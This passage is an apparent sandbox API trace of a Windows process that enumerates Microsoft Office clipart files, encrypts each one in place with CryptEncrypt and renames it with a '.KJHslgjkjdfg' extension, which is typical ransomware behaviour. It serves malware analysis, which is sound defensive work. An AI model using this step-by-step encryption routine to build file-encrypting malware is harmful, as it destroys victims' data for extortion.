GetProcessHeap () returned 0x2ef0000 [0199.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.200] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.933] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.933] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.933] GetProcessHeap () returned 0x2ef0000 [0199.933] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.933] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.933] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.933] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.933] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.933] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.933] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.933] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.933] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.933] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.934] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4fdc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4fdc, lpOverlapped=0x0) returned 1 [0200.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4fe0, dwBufLen=0x4fe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4fe0) returned 1 [0200.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.098] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4fe0, lpOverlapped=0x0) returned 1 [0200.098] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x50b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.098] SetEndOfFile (hFile=0x130) returned 1 [0200.101] GetProcessHeap () returned 0x2ef0000 [0200.101] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.101] GetProcessHeap () returned 0x2ef0000 [0200.101] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.kjhslgjkjdfg")) returned 1 [0200.103] CloseHandle (hObject=0x130) returned 1 [0200.103] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0200.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.104] GetProcessHeap () returned 0x2ef0000 [0200.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.104] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.104] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.113] GetProcessHeap () returned 0x2ef0000 [0200.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.114] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.114] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.114] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.114] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x24b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x24b8, lpOverlapped=0x0) returned 1 [0200.126] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24c0, dwBufLen=0x24c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24c0) returned 1 [0200.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.126] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x24c0, lpOverlapped=0x0) returned 1 [0200.126] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.126] SetEndOfFile (hFile=0x130) returned 1 [0200.129] GetProcessHeap () returned 0x2ef0000 [0200.129] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.129] GetProcessHeap () returned 0x2ef0000 [0200.129] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.kjhslgjkjdfg")) returned 1 [0200.131] CloseHandle (hObject=0x130) returned 1 [0200.131] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0200.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.132] GetProcessHeap () returned 0x2ef0000 [0200.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.132] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.132] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.133] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.133] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.133] GetProcessHeap () returned 0x2ef0000 [0200.133] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.134] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.134] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.134] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.134] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.134] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.134] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.134] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1864, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1864, lpOverlapped=0x0) returned 1 [0200.135] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1870, dwBufLen=0x1870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1870) returned 1 [0200.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.135] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1870, lpOverlapped=0x0) returned 1 [0200.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.136] SetEndOfFile (hFile=0x130) returned 1 [0200.138] GetProcessHeap () returned 0x2ef0000 [0200.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.138] GetProcessHeap () returned 0x2ef0000 [0200.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.kjhslgjkjdfg")) returned 1 [0200.139] CloseHandle (hObject=0x130) returned 1 [0200.139] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0200.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.140] GetProcessHeap () returned 0x2ef0000 [0200.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.140] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.140] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.142] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.142] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.142] GetProcessHeap () returned 0x2ef0000 [0200.142] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.142] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.142] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.142] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.142] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.143] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.143] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.143] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4928, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4928, lpOverlapped=0x0) returned 1 [0200.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4930, dwBufLen=0x4930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4930) returned 1 [0200.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.144] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4930, lpOverlapped=0x0) returned 1 [0200.144] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.145] SetEndOfFile (hFile=0x130) returned 1 [0200.147] GetProcessHeap () returned 0x2ef0000 [0200.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.147] GetProcessHeap () returned 0x2ef0000 [0200.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.kjhslgjkjdfg")) returned 1 [0200.149] CloseHandle (hObject=0x130) returned 1 [0200.149] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0200.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.149] GetProcessHeap () returned 0x2ef0000 [0200.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.149] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.190] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.190] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.190] GetProcessHeap () returned 